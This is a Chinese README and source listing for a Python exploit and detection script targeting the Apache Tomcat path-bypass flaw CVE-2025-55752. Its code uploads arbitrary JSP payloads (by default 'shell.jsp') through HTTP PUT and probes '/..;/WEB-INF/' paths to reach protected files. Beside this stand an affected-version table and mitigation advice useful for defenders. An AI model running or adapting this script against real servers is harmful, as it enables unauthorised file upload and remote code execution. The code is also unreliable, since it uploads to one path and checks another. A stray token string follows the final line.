CVE-2025-55752 Tomcat 路径绕过与漏洞检测工具
项目描述
本工具是一个专门用于检测和验证 Apache Tomcat 服务器是否存在 CVE-2025-55752 漏洞的安全脚本。该漏洞是由于重写阀门(Rewrite Valve)与规范化处理存在缺陷,导致攻击者可以绕过路径保护机制,访问或上传文件到受保护目录(如 /WEB-INF/)。如果服务器启用了 HTTP PUT 方法,此漏洞可能导致远程代码执行(RCE)。
功能特性
- 漏洞检测:自动化检测目标 Tomcat 服务器是否存在路径绕过漏洞
- 文件上传测试:支持通过 HTTP PUT 方法上传测试文件到目标服务器
- 路径绕过验证:利用
..;序列绕过 URL 规范化检查,验证对受保护目录的访问 - 灵活配置:支持自定义上传文件名和 payload 内容
- SSL 选项:提供 SSL 证书验证的开关选项
- 独立检查模式:支持仅进行路径绕过检查而不上传文件
安装指南
系统要求
- Python 3.x
requests库
安装步骤
-
克隆或下载脚本文件:
git clone <repository-url> cd CVE-2025-55752 -
安装必要的 Python 依赖:
pip install requests urllib3 -
(可选)配置环境:
- 确保 Python 环境已正确配置
- 如有代理需求,请配置相应的网络设置
使用说明
基本用法
1. 仅检查路径绕过漏洞
python3 CVE-2025-55752.py http://target:8080 --check
此命令仅测试目标服务器是否存在路径绕过漏洞,不进行文件上传。
2. 完整漏洞检测(包含上传和验证)
python3 CVE-2025-55752.py http://target:8080
此命令将尝试上传一个测试 JSP 文件,并验证是否能通过路径绕过访问该文件。
3. 自定义文件名和 payload
python3 CVE-2025-55752.py http://target:8080 --filename exploit.jsp --payload "<% out.println('PWNED'); %>"
使用自定义的文件名和 payload 内容进行测试。
4. 禁用 SSL 证书验证
python3 CVE-2025-55752.py https://target:8443 --no-ssl-verify
对于使用自签名证书的 HTTPS 目标,使用此选项禁用 SSL 验证。
参数说明
url:目标服务器的基础 URL(必需),需包含http://或https://--filename:上传的文件名,默认为shell.jsp--payload:上传的文件内容,默认为<% out.println("Bypassed!"); %>--check:仅检查路径绕过,不进行文件上传--no-ssl-verify:禁用 SSL 证书验证
输出说明
[+]表示成功或发现漏洞[-]表示失败或未发现漏洞[!]表示发生错误
核心代码
1. 主程序入口与参数解析
def main():
parser = argparse.ArgumentParser(description="CVE-2025-55752 Exploit & Detection Tool")
parser.add_argument("url", help="Target base URL (e.g., http://127.0.0.1:8080)")
parser.add_argument("--filename", default="shell.jsp", help="Filename to upload (default: shell.jsp)")
parser.add_argument("--payload", default="<% out.println(\"Bypassed!\"); %>", help="Payload content to upload")
parser.add_argument("--check", action="store_true", help="Only check for path bypass without uploading")
parser.add_argument("--no-ssl-verify", action="store_true", help="Disable SSL certificate verification")
args = parser.parse_args()
print(BANNER)
verify_ssl = not args.no_ssl_verify
if not args.url.startswith("http"):
print("[-] Please include http:// or https:// in the URL")
sys.exit(1)
if args.check:
check_access(args.url, f"/WEB-INF/{args.filename}", verify_ssl)
else:
uploaded_path = attempt_put_upload(args.url, args.filename, args.payload, verify_ssl)
if uploaded_path:
check_access(args.url, f"/WEB-INF/{args.filename}", verify_ssl)
if __name__ == "__main__":
main()
代码说明:
- 使用
argparse模块解析命令行参数 - 验证 URL 格式,确保包含协议头
- 根据
--check参数选择执行模式:仅检查或完整测试 - 控制 SSL 验证开关
2. 文件上传函数
def attempt_put_upload(target, filename, payload, verify_ssl):
upload_path = f"/{filename}"
url = f"{target}{upload_path}"
try:
print(f"[+] Attempting to upload payload to: {url}")
response = requests.put(url, data=payload, verify=verify_ssl, timeout=10)
if response.status_code in [200, 201, 204]:
print(f"[+] Upload successful! Response code: {response.status_code}")
return upload_path
else:
print(f"[-] Upload failed! Response code: {response.status_code}")
return None
except Exception as e:
print(f"[!] Upload error: {e}")
return None
代码说明:
- 使用 HTTP PUT 方法上传文件到目标服务器
- 构造完整的上传 URL
- 检查响应状态码,200/201/204 表示上传成功
- 添加超时设置防止长时间等待
- 异常处理确保程序稳定性
3. 路径绕过检查函数
def check_access(target, path, verify_ssl):
bypass_path = f"/..;{path}"
url = f"{target}{bypass_path}"
try:
print(f"[+] Checking access to: {url}")
response = requests.get(url, verify=verify_ssl, timeout=10)
if response.status_code == 200:
print("[+] Bypass successful! Target may be vulnerable.")
return True
else:
print(f"[-] Access denied or not vulnerable (HTTP {response.status_code}).")
return False
except Exception as e:
print(f"[!] Access check error: {e}")
return False
代码说明:
- 利用
..;序列构造路径绕过 URL - 使用 HTTP GET 方法尝试访问受保护路径
- 响应状态码 200 表示绕过成功,目标可能存在漏洞
- 添加详细的日志输出,便于调试和分析
4. 初始化与安全设置
import requests
import argparse
import urllib3
import sys
from urllib.parse import quote
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
BANNER = """
CVE-2025-55752 Tomcat Path Bypass & Upload Detection Script
============================================================
This tool attempts to exploit a Rewrite Valve + normalization bypass to upload a test JSP file
into a protected location (like /WEB-INF) and verify if the server is vulnerable to CVE-2025-55752.
"""
代码说明:
- 导入必要的 Python 模块
- 禁用 SSL 警告,避免输出干扰
- 定义工具横幅,显示工具名称和功能介绍
- 使用
urllib.parse.quote预备 URL 编码功能(虽未在代码中直接使用,但为扩展功能预留)
受影响版本
| Tomcat 分支 | 受影响版本 |
|---|---|
| 11.x | 11.0.0-M1 至 11.0.10 |
| 10.1.x | 10.1.0-M1 至 10.1.44 |
| 9.0.x | 9.0.0-M11 至 9.0.108 |
| 8.5.x | 8.5.6 至 8.5.100 |
建议:升级到已修复的版本(11.0.11、10.1.45 或 9.0.109 及以上版本)。
漏洞原理
CVE-2025-55752 是 Apache Tomcat 中的一个回归漏洞,当重写规则将查询参数映射到 URL 时,URL 规范化逻辑存在缺陷。攻击者可以利用特定的路径遍历序列(如 ..;)绕过内部保护机制,访问受限制的目录(如 /WEB-INF/ 或 /META-INF/)。如果服务器启用了 HTTP PUT 方法,攻击者可能上传恶意文件并实现远程代码执行。
安全建议
- 立即升级:将受影响的 Tomcat 版本升级到已修复的版本
- 禁用 HTTP PUT:除非必要,否则应禁用 HTTP PUT 方法
- 加强重写规则:对重写规则中的输入进行严格验证和清理
- 访问控制:加强受保护目录的访问控制
- 监控日志:监控服务器日志,检测可疑的路径遍历或文件上传请求FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ6xNbDhtNlxQOQyXU+FbeFK